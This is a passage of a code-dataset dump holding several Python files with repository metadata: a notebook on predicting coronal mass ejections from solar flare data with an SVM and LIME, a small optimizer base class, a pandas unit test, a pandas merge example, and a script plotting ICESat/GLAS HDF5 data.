belong to both classes\nall_peak_times = np.array([(listofresults[i]['peak_time'])\n                           for i in range(len(listofresults))])\n\nnegative_class_possibilities = []\ncounter_positive = 0\ncounter_negative = 0\nfor i in range(len(listofresults)):\n    this_peak_time = all_peak_times[i]\n    if (this_peak_time in peak_times_donki):\n        counter_positive += 1\n    else:\n        counter_negative += 1\n        this_instance = [listofresults[i]['noaa_active_region'],\n                         listofresults[i]['goes_class'], listofresults[i]['peak_time']]\n        negative_class_possibilities.append(this_instance)\nprint(\"There are\", counter_positive, \"events in the positive class.\")\nprint(\"There are\", counter_negative, \"events in the negative class.\")\n\n\n# Again, we compute times that are one day before the flare peak time and convert it into a string that JSOC can understand:\n\n# In[20]:\n\n\nt_rec = np.array([(negative_class_possibilities[i][2] - timedelta(hours=timedelayvariable)\n                   ).strftime('%Y.%m.%d_%H:%M_TAI') for i in range(len(negative_class_possibilities))])\n\n\n# And again, we query the JSOC database to see if these data are present:\n\n# In[21]:\n\n\nlistofactiveregions = list(\n    negative_class_possibilities[i][0] for i in range(counter_negative))\nlistofgoesclasses = list(\n    negative_class_possibilities[i][1] for i in range(counter_negative))\n\n\n# In[22]:\n\n\nnegative_result = get_the_jsoc_data(counter_negative, t_rec)\n\n\n# Here is the number of events associated with the negative class:\n\n# In[23]:\n\n\nno_CME_data = negative_result[0]\nnegative_class = negative_result[1]\nprint(\"There are\", len(no_CME_data), \"no-CME events in the negative class.\")\n\n\n# ## Step 3: Feature selection\n\n# Some of the features within a data set may be powerful for distinguishing between the positive and negative class, whereas others may be redundant or irrelevant. To identify features in the former category, we use a univariate feature selection method, which is implemented in the feature selection module of the scikit-learn library, for feature scoring.\n\n# To improve the performance of the feature selection algorithm, we'll normalize each feature so that they lie within similar ranges. To do this, we subtract from every feature its median value and divide by its standard deviation.\n\n# In[24]:\n\n\nCME_data = np.array(CME_data)\nno_CME_data = np.array(no_CME_data)\n\n\n# In[25]:\n\n\ndef normalize_the_data(flare_data):\n    flare_data = np.array(flare_data)\n    n_elements = flare_data.shape[0]\n    for j in range(flare_data.shape[1]):\n        standard_deviation_of_this_feature = np.std(flare_data[:, j])\n        median_of_this_feature = np.median(flare_data[:, j])\n        for i in range(n_elements):\n            flare_data[i, j] = (\n                flare_data[i, j] - median_of_this_feature) / (standard_deviation_of_this_feature)\n    return flare_data\n\n\nno_CME_data = normalize_the_data(no_CME_data)\nCME_data = normalize_the_data(CME_data)\n\nprint(\"There are\", no_CME_data.shape[0], \"flares with no associated CMEs.\")\nprint(\"There are\", CME_data.shape[0], \"flares with associated CMEs.\")\n\n\n# Let's look at the distribution of one feature for the active regions that both flared and produced a CME (green) and for the active regions that flared but did not produce a CME (red). You can change the value of `i` in the code block below to see that some features are totally useless as there is barely any difference in the distributions for the positive and negative class. As such, we can throw such features out of our sample. It's a good idea to do some feature selection before running the SVM, so as to reduce noise (in this case, with only 18 features, there's not too much noise to begin with). \n\n# In[26]:\n\n\nsharps = ['Total unsigned flux', 'Mean gradient of total field',\n          'Mean current helicity (Bz contribution)', 'Mean photospheric magnetic free energy',\n          'Fraction of Area with Shear > 45 deg', 'Total unsigned current helicity',\n          'Mean gradient of horizontal field', 'Mean characteristic twist parameter, alpha',\n          'Mean angle of field from radial', 'Mean gradient of vertical field',\n          'Mean vertical current density', 'Total unsigned vertical current',\n          'Sum of the modulus of the net current per polarity',\n          'Total photospheric magnetic free energy density', 'Mean shear angle',\n          'Area of strong field pixels in the active region', 'Sum of flux near polarity inversion line',\n          'Absolute value of the net current helicity']\n\ni = 2\n\n# For the positive class (green)\nmu_fl = np.mean(CME_data[:, i])\nsigma_fl = np.std(CME_data[:, i])\nnum_bins = 15\nn_fl, bins_fl, patches_fl = plt.hist(\n    CME_data[:, i], num_bins, normed=1, facecolor='green', alpha=0.5)\ny_fl = scipy.stats.norm.pdf(bins_fl, mu_fl, sigma_fl)\nplt.plot(bins_fl, y_fl, 'g--', label='positive class')\n\n# For the negative class (red)\nmu_nofl = np.mean(no_CME_data[:, i])\nsigma_nofl = np.std(no_CME_data[:, i])\nn_nofl, bins_nofl, patches_nofl = plt.hist(\n    no_CME_data[:, i], num_bins, normed=1, facecolor='red', alpha=0.5)\ny_nofl = scipy.stats.norm.pdf(bins_nofl, mu_nofl, sigma_nofl)\nplt.plot(bins_nofl, y_nofl, 'r--', label='negative class')\n\ntext_style = dict(fontsize=16, fontdict={'family': 'monospace'})\nplt.xlabel('Normalized '+sharps[i], **text_style)\nplt.ylabel('Number (normalized)', labelpad=20, **text_style)\nfig = plt.gcf()\nfig.set_size_inches(10, 5)\nfig.savefig('fscore_tmp.png', bbox_inches='tight')\nlegend = plt.legend(loc='upper right', fontsize=12, framealpha=0.0, title='')\nlegend.get_frame().set_linewidth(0.0)\n\n\n# Now we will compute the Univariate F-score for feature selection. It is a very simple method: the F-score measures the distance between the two distributions for a given feature (inter-class distance), divided by the sum of the variances for this feature (intra-class distance). We can use the `sklearn.feature_selection` module to do this:\n\n# In[27]:\n\n\n# import the feature selection method\nfrom sklearn.feature_selection import SelectKBest, f_classif\n# select the number of features\nN_features = 18\nNfl = CME_data.shape[0]\nNnofl = no_CME_data.shape[0]\nyfl = np.ones(Nfl)\nynofl = np.zeros(Nnofl)\n# k is the number of features\nselector = SelectKBest(f_classif, k=N_features)\nselector.fit(np.concatenate((CME_data, no_CME_data), axis=0),\n             np.concatenate((yfl, ynofl), axis=0))\nscores = selector.scores_\nprint(scores)\n\n\n# It's not easy to interpret the scores in this fashion, so let's plot the results. The higher the Univariate Fisher Score, the more predictive the feature.\n\n# In[28]:\n\n\nplt.clf()\norder = np.argsort(scores)\norderedsharps = [sharps[i] for i in order]\ny_pos2 = np.arange(18)\nplt.barh(y_pos2, sorted(scores/np.max(scores)))\nplt.ylim((-1, 19))\nplt.yticks(y_pos2, orderedsharps, fontsize=12)\nplt.xlabel('Normalized Fisher Score', fontsize=15)\nplt.title('Normalized Univariate Fisher Score Per Feature', fontsize=15)\nplt.subplots_adjust(left=0.5, right=1.0)\nfig = plt.gcf()\nfig.set_size_inches(9, 5)\nplt.show()\n\n\n# ## Step 4: The support vector machine\n\n# Now we initialize the support vector machine on the data. The SVM uses non-linear decision functions to map the feature space into a higher-dimensional space, where the positive and negative examples can be separated linearly by a hyperplane. <br>\n# \n# This is incredibly non-intuitive. But we can think of a simpler example. Suppose we had two classes: CME-producing and non-CME producing active regions. And suppose we had two features: the total flux in these regions, and the total area of these regions. We could construct a two-dimentional feature space, where we plot the flux against the area of each active region. Positive examples could be indicated by an X and negatives ones by an O. In theory, if our data behaved well, we could draw a line between these classess. <br>\n# \n# Since we have 18 features, the SVM constructs an 18-dimensional feature space. In this feature space, the decision boundary separating the positive and negative examples may be non-linear. As such, the algorithm then enlarges this 18-dimensional feature space (using the function indicated by the `kernel` parameter in the [`svm.SVC`](http://scikit-learn.org/stable/modules/generated/sklearn.svm.SVC.html) function) into a higher-dimensional feature space wherein it is possible to linearly separate the positive and negatives classes. There are lots of people trying to work on how to [visualize these multi-dimensional feature spaces](https://github.com/tmadl/highdimensional-decision-boundary-plot), which is an active area of research.\n\n# In[29]:\n\n\nnumber_of_examples = Nfl + Nnofl\nC = 4.0\ngamma = 0.075\nclass_weight = {1: 6.5}\nclf = svm.SVC(C=C, gamma=gamma, kernel='rbf', class_weight=class_weight,\n              cache_size=500, max_iter=-1, shrinking=True, tol=1e-8, probability=True)\n\n\n# ## Step 5: Stratified k-folds cross-validation\n\n# Now we run and evaluate the performance of the SVM. There are lots of different ways to evaluate the performance of a classifier, which we discuss in Section 4 of [Bobra & Couvidat (2015)](https://arxiv.org/abs/1411.1405). We're going to choose a metric called the True Skill Score, or the TSS, which we can calculate from four quantities: true positives, true negatives, false positives, and false negatives. We prefer the TSS to all the other metrics as it is insensitive to the class imbalance ratio and thus best for comparison to other groups. The TSS is symmetrically distributed about 0: i.e., it goes from [-1, 1] where 0 represents no skill and a negative value represents a perverse prediction. Thus we are able to predict CMEs in a fashion better than randomly guessing. Here we define a confusion table to measure the performance of our binary classification: <br>\n\n# In[30]:\n\n\ndef confusion_table(pred, labels):\n    \"\"\"\n    computes the number of TP, TN, FP, FN events given the arrays with predictions and true labels\n    and returns the true skill score\n\n    Args:\n    pred: np array with predictions (1 for flare, 0 for nonflare)\n    labels: np array with true labels (1 for flare, 0 for nonflare)\n\n    Returns: true negative, false positive, true positive, false negative\n    \"\"\"\n    Nobs = len(pred)\n    TN = 0.\n    TP = 0.\n    FP = 0.\n    FN = 0.\n    for i in range(Nobs):\n        if (pred[i] == 0 and labels[i] == 0):\n            TN += 1\n        elif (pred[i] == 1 and labels[i] == 0):\n            FP += 1\n        elif (pred[i] == 1 and labels[i] == 1):\n            TP += 1\n        elif (pred[i] == 0 and labels[i] == 1):\n            FN += 1\n        else:\n            print(\"Error! Observation could not be classified.\")\n    return TN, FP, TP, FN\n\n\n# Now we run the SVM on our data and cross-validate our results. In our case, the positive sample size is quite small (both objectively and compared to the negative sample size). Therefore, we use a stratified k-folds cross-validation method, which makes k partitions of the data set and uses k-1 folds for training the SVM and 1 fold for testing the trained SVM. The stratification preserves the ratio of positive to negative examples per fold. Then we can permute over the partitions such that each partition eventually makes its way into the testing set. For each individual testing set, we can calculate a skill score. Then we can average the skill scores over the total number of testing sets. \n# \n# To compute the TSS, we must first select a value of k. k can be arbitrarily defined and take any value between 2 and `number_of_examples`, so we can explore this parameter space. As k approaches `number_of_examples`, the k-fold method reduces to the Leave One Out method, in which only one example is in the testing set and all other examples are in the training set. The literature suggests this method is not the best, so we can stray away from high values of k. Many studies (e.g. [Kohavi, 1995](http://web.cs.iastate.edu/~jtian/cs573/Papers/Kohavi-IJCAI-95.pdf)) recommend the stratified 10-fold cross-validation to reduce variance and bias. Here, we test their recommendation by computing the TSS using 50 k values, ranging from 2 to 52. \n\n# In[31]:\n\n\n# lists to hold the TSS and standard deviation of the TSS\narray_of_avg_TSS = np.ndarray([50])\narray_of_std_TSS = np.ndarray([50])\n\n# xdata are the examples\n# ydata are the labels\nxdata = np.concatenate((CME_data, no_CME_data), axis=0)\nydata = np.concatenate((np.ones(Nfl), np.zeros(Nnofl)), axis=0)\n\n# mdata contain metadata about the active region that will be useful\n# when we interpret the results using LIME\nmdata = np.concatenate((positive_class, negative_class), axis=0)\n\n# compute the TSS for a variety of k ranging from 2 to 52\n# this is to see how the TSS varies as a function of k, and to test if k=10 really makes sense\nfor k in range(2, 52):\n    skf = StratifiedKFold(n_splits=k, shuffle=True)\n    these_TSS_for_this_k = []\n    for train_index, test_index in skf.split(xdata, ydata):\n        # xtrain are the examples in the training set\n        xtrain = xdata[train_index]\n        # ytrain are the labels in the training set\n        ytrain = ydata[train_index]\n        # xtest are the examples in the testing set\n        xtest = xdata[test_index]\n        ytest = ydata[test_index]    # ytest are the labels in the testing set\n        # metadata useful for interpreting with LIME\n        mtrain = mdata[train_index]\n        # metadata useful for interpreting with LIME\n        mtest = mdata[test_index]\n        clf.fit(xtrain, ytrain)\n        TN, FP, TP, FN = confusion_table(clf.predict(xtest), ytest)\n        if (((TP+FN) == 0.0) or (FP+TN) == 0.0):\n            these_TSS_for_this_k.append(np.nan)\n            continue\n        else:\n            these_TSS_for_this_k.append(TP/(TP+FN) - FP/(FP+TN))\n    TSS_k = np.array(these_TSS_for_this_k)\n    array_of_avg_TSS[k-2] = np.mean(TSS_k)\n    array_of_std_TSS[k-2] = np.std(TSS_k)\n\n\n# Now we can plot the mean TSS per k, using the standard deviation as the error in the TSS. We see that for high values of k, the standard deviation in the TSS can be greater than the mean. These points are indicated in blue.\n\n# In[32]:\n\n\nfig, ax = plt.subplots(figsize=(10, 8))      # define the size of the figure\norangered = (1.0, 0.27, 0, 1.0)              # create an orange-red color\ncornblue = (0.39, 0.58, 0.93, 1.0)           # create a cornflower-blue color\n\n# define some style elements\nmarker_style_red = dict(linestyle='', markersize=8,\n                        fillstyle='full', color=orangered, markeredgecolor=orangered)\nmarker_style_blue = dict(linestyle='', markersize=8,\n                         fillstyle='full', color=cornblue, markeredgecolor=cornblue)\ntext_style = dict(fontsize=16, fontdict={'family': 'monospace'})\n\n# ascribe the data to the axes\nk = np.arange(50)+2\nfor i in range(50):\n    if (array_of_avg_TSS[i] > array_of_std_TSS[i]):\n        ax.errorbar(k[i], array_of_avg_TSS[i],\n                    yerr=array_of_std_TSS[i], linestyle='', color=orangered)\n        ax.plot(k[i], array_of_avg_TSS[i], 'o', **marker_style_red)\n    if (array_of_avg_TSS[i] <= array_of_std_TSS[i]):\n        ax.errorbar(k[i], array_of_avg_TSS[i],\n                    yerr=array_of_std_TSS[i], linestyle='', color=cornblue)\n        ax.plot(k[i], array_of_avg_TSS[i], 'o', **marker_style_blue)\n\n# set plot limits\nplt.xlim(xmax=52, xmin=0)\nplt.ylim(ymax=1.1, ymin=0)\n\n# label the axes and the plot\nax.set_xlabel('k', **text_style)\nax.set_ylabel('TSS', labelpad=20, **text_style)\nplt.title(r'TSS per k using stratified k-fold cross-validation', **text_style)\nfig = plt.gcf()\nfig.set_size_inches(10, 5)\n\n\n# As such, we confirm that high k-values result in a high variance. We find it reasonable to use the stratified 10-fold cross-validation method to compute the TSS and will follow this recommendation. Therefore we report this score as our final result:\n\n# In[33]:\n\n\nprint(\"The TSS equals\", array_of_avg_TSS[9],\n      \"plus or minus\", array_of_std_TSS[9], \".\")\n\n\n# ## Addendum : Local Interpretable Model-Agnostic Explanations (LIME)\n\n# Machine-learning is a powerful technique that can help us predict CMEs. However, our goal is not only to predict CMEs, but also to quantitatively understand which signatures indicate the imminent eruption of a CME. But the practical successes of machine-learning algorithms are often not matched by successes in understanding, and this has become an issue within the machine-learning community ([Rahimi and Recht, 2017](http://www.argmin.net/2017/12/11/alchemy-addendum/)).\n# \n# The SVM is a good model to start with, because it is (relatively) simple and we can use the Univariate Fisher Score to identify the most predictive features. But it would also be useful to figure out why each individual active region was classed as positive or negative. To do this, we can use a tool called [LIME](https://github.com/marcotcr/lime) (or Local Interpretable Model-Agnostic Explanations). <br>\n# \n# First, we initialize the LIME explainer:\n\n# In[34]:\n\n\nexplainer = lime.lime_tabular.LimeTabularExplainer(\n    xtrain, feature_names=sharps, class_names=['CME', 'no CME'], discretize_continuous=True)\n\n\n# Then we use the explainer to explain its choice for a particular active region. To do this, the LIME module generates neighborhood data by randomly perturbing the values of the features associated with this active region. If, for any given feature, this perturbation does not change the outcome of the prediction, this feature isn't useful along the perturbed dimension. If, for any given feature, the perturbation does change the outcome of the prediction, this feature is useful along the perturbed dimension. Thus the explainer can determine which features are useful under which conditions.\n\n# In[35]:\n\n\ni = np.random.randint(0, xtest.shape[0])\nexp = explainer.explain_instance(xtest[i], clf.predict_proba, num_features=8)\n\n\n# Now we can visualize the results. The bottom left panel shows the probabilities assigned to this particular example (which are computed by the SVM via the `probability=True` parameter). The right panel plots the weights per feature (and indicates the values of these weights at the end of each horizontal bar). The text describes the conditions under which this feature  is predictive. \n\n# In[36]:\n\n\nprint(\"Here is the prediction explanation for NOAA Active Region\",\n      mtest[i][1], \"(HARPNUM \", mtest[i][0], \"),\\n which produced a\", mtest[i][2], \"class flare on\", mtest[i][3], \".\")\nexp.show_in_notebook(show_table=False, show_all=False)\n\n\n# Here is the same information in words:\n\n# In[37]:\n\n\nexplained_list = exp.as_list()\nfor i in range(len(explained_list)):\n    if (explained_list[i][1]) < 0:\n        feature_sign = 'no CME'\n    else:\n        feature_sign = 'CME'\n    print(\"The following condition:\", explained_list[i][0], \"\\n predicts\",\n          feature_sign, \"with a model weight of\", abs(explained_list[i][1]), \".\")\n\n", "meta": {"hexsha": "c5aa6f5e4941febfd335baa8bd0a4b26c547d87b", "size": 36931, "ext": "py", "lang": "Python", "max_stars_repo_path": "book/_build/jupyter_execute/02/notebook.py", "max_stars_repo_name": "tbloch1/HelioML", "max_stars_repo_head_hexsha": "ae308b1881bfd08d9dd7add53d304446423a3342", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "book/_build/jupyter_execute/02/notebook.py", "max_issues_repo_name": "tbloch1/HelioML", "max_issues_repo_head_hexsha": "ae308b1881bfd08d9dd7add53d304446423a3342", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "book/_build/jupyter_execute/02/notebook.py", "max_forks_repo_name": "tbloch1/HelioML", "max_forks_repo_head_hexsha": "ae308b1881bfd08d9dd7add53d304446423a3342", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.6501854141, "max_line_length": 878, "alphanum_fraction": 0.7117056132, "include": true, "reason": "import numpy,import scipy", "num_tokens": 9419, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38491214448393346, "lm_q2_score": 0.14223188773801163, "lm_q1q2_score": 0.054746780923236135}}
{"text": "import abc\nimport numpy as np\n\n\nclass BaseOptimizer(abc.ABC):\n    @abc.abstractmethod\n    def optimize(self, x: np.ndarray, y: np.ndarray, epochs: int=5, save_hist: bool=False):\n        # NOTE when save_hist is True, must return histories where histories[0] is the history of w\n        pass\n", "meta": {"hexsha": "bd8a8545d099b7a7683b31adde3a6f8f663a7ff1", "size": 291, "ext": "py", "lang": "Python", "max_stars_repo_path": "engine/optimizers/base_optimizer.py", "max_stars_repo_name": "GuillaumeDesforges/enpc-malap-project", "max_stars_repo_head_hexsha": "6c3092073ab3d6dc56b32c480910335c50eba7b3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "engine/optimizers/base_optimizer.py", "max_issues_repo_name": "GuillaumeDesforges/enpc-malap-project", "max_issues_repo_head_hexsha": "6c3092073ab3d6dc56b32c480910335c50eba7b3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "engine/optimizers/base_optimizer.py", "max_forks_repo_name": "GuillaumeDesforges/enpc-malap-project", "max_forks_repo_head_hexsha": "6c3092073ab3d6dc56b32c480910335c50eba7b3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.1, "max_line_length": 99, "alphanum_fraction": 0.7010309278, "include": true, "reason": "import numpy", "num_tokens": 75, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4225046348141882, "lm_q2_score": 0.12940272319798918, "lm_q1q2_score": 0.0546732503087279}}
{"text": "\"\"\" Unit Testing for lambdata package\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport unittest\nimport example_module as em\n\nclass LambdataTests(unittest.TestCase):\n    def setUp(self):\n        self.test_df = pd.DataFrame([[1, np.NaN], [np.NaN, np.NaN]])\n        self.test_list = [1, 1]\n\n    \"\"\" Testing lambdata package \"\"\"\n    def test_number_of_nulls(self):\n        \"\"\" Testing number of nulls method \"\"\"\n        self.assertEqual(em.number_of_nulls(self.test_df), 3)\n    \n    def test_add_list_to_df(self):\n        \"\"\" Testing add list to df \"\"\"\n        self.assertEqual(self.test_df.shape[1] + 1, em.add_list_to_df(self.test_list, self.test_df).shape[1])\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "f2dacc616b66188e7c7c24b21f5b44de13317bc0", "size": 708, "ext": "py", "lang": "Python", "max_stars_repo_path": "lambdata/example_unit_test.py", "max_stars_repo_name": "n8mcdunna/lambdata", "max_stars_repo_head_hexsha": "d966bd988d9f4a167cf0443866aa63aba83e9e1d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lambdata/example_unit_test.py", "max_issues_repo_name": "n8mcdunna/lambdata", "max_issues_repo_head_hexsha": "d966bd988d9f4a167cf0443866aa63aba83e9e1d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lambdata/example_unit_test.py", "max_forks_repo_name": "n8mcdunna/lambdata", "max_forks_repo_head_hexsha": "d966bd988d9f4a167cf0443866aa63aba83e9e1d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.5, "max_line_length": 109, "alphanum_fraction": 0.6624293785, "include": true, "reason": "import numpy", "num_tokens": 171, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.411110869232168, "lm_q2_score": 0.1329642384799526, "lm_q1q2_score": 0.054663043658286586}}
{"text": "\"\"\"\n  Name     : c7_31_mrege_01.py\n  Book     : Python for Finance (2nd ed.)\n  Publisher: Packt Publishing Ltd. \n  Author   : Yuxing Yan\n  Date     : 6/6/2017\n  email    : yany@canisius.edu\n             paulyxy@hotmail.com\n\"\"\"\nimport scipy as sp\nimport pandas as pd\n#\nx= pd.DataFrame({'key': ['K0', 'K1', 'K2', 'K3'],\n                 'A': ['A0', 'A1', 'A2', 'A3'],\n                 'B': ['B0', 'B1', 'B2', 'B3']})\ny = pd.DataFrame({'key': ['K0', 'K1', 'K2', 'K6'],\n                  'C': ['C0', 'C1', 'C2', 'C3'],\n                  'D': ['D0', 'D1', 'D2', 'D3']})\nprint(sp.shape(x))\nprint(sp.shape(y))\nprint(x)\nprint(y)\n\nresult = pd.merge(x,y, on='key')\nprint(result)\n\nresult2=pd.merge(x,y)\nprint(result2)\n\n", "meta": {"hexsha": "ebf8eb38ed7dfda036a5359e85ca5dad6cf3bb37", "size": 708, "ext": "py", "lang": "Python", "max_stars_repo_path": "Chapter07/c7_31_merge_01.py", "max_stars_repo_name": "John-ye666/Python-for-Finance-Second-Edition", "max_stars_repo_head_hexsha": "dabef09bcdd7b0ec2934774741bd0a7e1950de73", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 236, "max_stars_repo_stars_event_min_datetime": "2017-07-02T03:06:54.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T03:15:33.000Z", "max_issues_repo_path": "Chapter07/c7_31_merge_01.py", "max_issues_repo_name": "John-ye666/Python-for-Finance-Second-Edition", "max_issues_repo_head_hexsha": "dabef09bcdd7b0ec2934774741bd0a7e1950de73", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Chapter07/c7_31_merge_01.py", "max_forks_repo_name": "John-ye666/Python-for-Finance-Second-Edition", "max_forks_repo_head_hexsha": "dabef09bcdd7b0ec2934774741bd0a7e1950de73", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 139, "max_forks_repo_forks_event_min_datetime": "2017-06-30T10:28:16.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-19T19:43:34.000Z", "avg_line_length": 23.6, "max_line_length": 50, "alphanum_fraction": 0.4858757062, "include": true, "reason": "import scipy", "num_tokens": 258, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.11279541373888334, "lm_q1q2_score": 0.05463585201289763}}
{"text": "\"\"\"\nCopyright (C) 2014 The HDF Group\nCopyright (C) 2014 John Evans\n\nThis example code illustrates how to access and visualize an NSIDC/ICESat/GLAS\nL2 HDF5 file in Python.\n\nIf you have any questions, suggestions, or comments on this example, please use\nthe HDF-EOS Forum (http://hdfeos.org/forums).  If you would like to see an\nexample of any other NASA HDF/HDF-EOS data product that is not listed in the\nHDF-EOS Comprehensive Examples page (http://hdfeos.org/zoo), feel free to\ncontact us at eoshelp@hdfgroup.org or post it at the HDF-EOS Forum\n(http://hdfeos.org/forums).\n\nUsage:  save this script and run\n\n    python GLAH13_633_2103_001_1317_0_01_0001_a.py\n\nThe HDF file must either be in your current working directory or in a directory\nspecified by the environment variable HDFEOS_ZOO_DIR.\n\"\"\"\n\nimport os\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.basemap import Basemap\nimport numpy as np\n\n# Can do this using either netCDF4 or h5py.\nUSE_NETCDF4 = False\n\ndef run(FILE_NAME):\n    if USE_NETCDF4:\n    \n        from netCDF4 import Dataset\n    \n        nc = Dataset(FILE_NAME)\n\n        latvar = nc.groups['Data_1HZ'].groups['Geolocation'].variables['d_lat']\n        latitude = latvar[:]\n        lat_vr = [latvar.valid_min, latvar.valid_max]\n\n        lonvar = nc.groups['Data_1HZ'].groups['Geolocation'].variables['d_lon']\n        longitude = lonvar[:]\n        lon_vr = [lonvar.valid_min, lonvar.valid_max]\n\n        tempvar = nc.groups['Data_1HZ'].groups['Atmosphere'].variables['d_Surface_temp']\n        temp = tempvar[:]\n        temp_vr = [tempvar.valid_min, tempvar.valid_max]\n        units = tempvar.units\n        longname = tempvar.long_name\n\n        timevar = nc.groups['Data_1HZ'].groups['Time'].variables['d_UTCTime_1']\n        time = timevar[:]\n\n    else:\n    \n        import h5py\n    \n        with h5py.File(FILE_NAME, mode='r') as f:\n    \n            latvar = f['/Data_1HZ/Geolocation/d_lat']\n            latitude = latvar[:]\n            lat_vr = [latvar.attrs['valid_min'], latvar.attrs['valid_max']]\n    \n            lonvar = f['/Data_1HZ/Geolocation/d_lon']\n            longitude = lonvar[:]\n            lon_vr = [lonvar.attrs['valid_min'], lonvar.attrs['valid_max']]\n    \n            tempvar = f['/Data_1HZ/Atmosphere/d_Surface_temp']\n            temp = tempvar[:]\n            temp_vr = [tempvar.attrs['valid_min'], tempvar.attrs['valid_max']]\n            units = tempvar.attrs['units']\n            longname = tempvar.attrs['long_name']\n    \n            time = f['/Data_1HZ/Time/d_UTCTime_1'][:]\n    \n    # Apply attribute restrictions.\n    latitude[latitude < lat_vr[0]] = np.nan\n    latitude[latitude > lat_vr[1]] = np.nan\n    longitude[longitude < lon_vr[0]] = np.nan\n    longitude[longitude > lon_vr[1]] = np.nan\n    temp[temp < temp_vr[0]] = np.nan\n    temp[temp > temp_vr[1]] = np.nan\n\n    # Just use a small subset.\n    idx = slice(0, 600)\n\n    # Make a split window plot.  First plot is time vs. temperature.\n    fig = plt.figure(figsize = (15, 6))\n    ax1 = plt.subplot(1, 2, 1)\n    elapsed_time = (time - time[0])/60\n    ax1.plot(elapsed_time[idx], temp[idx], 'b-')\n    ax1.set_xlabel('Elapsed Time (minutes)')\n    ax1.set_ylabel(units)\n\n    basename = os.path.basename(FILE_NAME)\n    ax1.set_title('{0}\\n{1}'.format(basename, longname))\n\n    # The 2nd plot is the trajectory.\n    # Use a north polar azimuthal equal area projection.\n    ax2 = plt.subplot(1, 2, 2)\n    m = Basemap(projection='nplaea', resolution='l',\n                boundinglat=52, lon_0=0)\n    m.drawcoastlines(linewidth=0.5)\n    m.drawparallels(np.arange(0., 91., 10.), labels=[0, 0, 0, 1])\n    m.drawmeridians(np.arange(-180, 180., 30.), labels=[0, 1, 0, 0])\n    m.plot(longitude[idx], latitude[idx], linestyle='None', marker='.',\n           color='blue', latlon=True)\n    plt.title('Trajectory of Flight Path')\n\n    fig = plt.gcf()\n    # plt.show()\n    pngfile = \"{0}.a.py.png\".format(basename)\n    fig.savefig(pngfile)\n\nif __name__ == \"__main__\":\n\n    # If a certain environment variable is set, look there for the input\n    # file, otherwise look in the current directory.\n    hdffile = 'GLAH13_633_2103_001_1317_0_01_0001.h5'\n\n    try:\n        hdffile = os.path.join(os.environ['HDFEOS_ZOO_DIR'], hdffile)\n    except KeyError:\n        pass\n\n    run(hdffile)\n\n", "meta": {"hexsha": "a4e232d3bb926b293721d93668368490b6a01bf2", "size": 4292, "ext": "py", "lang": "Python", "max_stars_repo_path": "icesat_glas/GLAH13_633_2103_001_1317_0_01_0001_a.py", "max_stars_repo_name": "petebunting/rsgis_scripts", "max_stars_repo_head_hexsha": "b35b0403cdfad6c63824d4f8c038f190cdb5978d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2020-09-16T10:45:15.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-06T04:34:32.000Z", "max_issues_repo_path": "icesat_glas/GLAH13_633_2103_001_1317_0_01_0001_a.py", "max_issues_repo_name": "petebunting/rsgis_scripts", "max_issues_repo_head_hexsha": "b35b0403cdfad6c63824d4f8c038f190cdb5978d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "icesat_glas/GLAH13_633_2103_001_1317_0_01_0001_a.py", "max_forks_repo_name": "petebunting/rsgis_scripts", "max_forks_repo_head_hexsha": "b35b0403cdfad6c63824d4f8c038f190cdb5978d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-07-06T18:03:40.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-15T12:45:34.000Z", "avg_line_length": 32.7633587786, "max_line_length": 88, "alphanum_fraction": 0.6465517241, "include": true, "reason": "import numpy", "num_tokens": 1227, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.11279540926528922, 